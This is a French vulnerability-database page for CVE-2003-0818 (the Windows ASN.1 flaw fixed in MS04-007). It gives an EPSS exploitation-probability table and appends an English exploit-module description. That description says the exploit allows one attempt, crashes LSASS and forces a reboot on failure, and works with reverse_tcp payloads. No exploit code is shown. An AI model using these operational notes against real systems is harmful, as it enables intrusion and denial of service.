CVE-2003-0818 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)

2025-03-30	–	–	–	–	89.65,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

This vulnerability is not related to the bit string vulnerability described in eEye advisory AD20040210-2. Both vulnerabilities were fixed in the MS04-007 patch. You are only allowed one attempt with this vulnerability. If the payload fails to execute, the LSASS system service will crash and the target system will automatically reboot itself in 60 seconds. If the payload succeeeds, the system will no longer be able to process authentication requests, denying all attempts to login through SMB or at the console. A reboot is required to restore proper functioning of an exploited system. This exploit has been successfully tested with the win32/*/reverse_tcp payloads, however a few problems were encounted when using the equivalent bind payloads.
